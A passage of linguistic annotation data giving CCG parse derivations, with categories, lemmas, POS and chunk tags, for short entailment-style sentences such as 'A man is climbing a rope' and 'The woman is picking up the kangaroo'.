fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(403,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'along', 'along', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'path', 'path', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'wilderness', 'wilderness', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(404,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'lazily', 'lazily', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(405,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ceiling', 'ceiling', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(406,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'upside-down', 'upside-down', 'JJ', 'I-ADJP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ceiling', 'ceiling', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(407,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
t(s:ng\np, 'exercising', 'exercise', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(408,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'exercising', 'exercise', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(409,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(410,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(411,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'packing', 'pack', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(412,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(413,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Boys', 'boy', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(414,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Boys', 'boy', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(415,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'calendar', 'calendar', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(416,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'checking', 'check', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'calendar', 'calendar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(417,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'peeling', 'peel', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(418,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'refrigerating', 'refrigerate', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(419,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(420,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piano', 'piano', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(421,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'recklessly', 'recklessly', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(422,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(423,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(424,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(425,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(426,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(427,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'picking', 'pick', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'kangaroo', 'kangaroo', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(428,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'picking', 'pick', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'kangaroo', 'kangaroo', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(429,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'breaking', 'break', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'tiles', 'tile', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'hands', 'hand', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(430,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'breaking', 'break', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'wooden', 'wooden', 'JJ', 'I-NP', 'O'),
t(n, 'boards', 'board', 'NNS', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'hand', 'hand', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(431,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'breathlessly', 'breathlessly', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(432,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(433,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(434,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'breathlessly', 'breathlessly', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(435,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'hurling', 'hurl', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'knives', 'knife', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(436,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'knives', 'knife', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(437,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'removing', 'remove', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'knives', 'knife', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'from', 'from', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(438,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'knives', 'knife', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(439,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(440,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
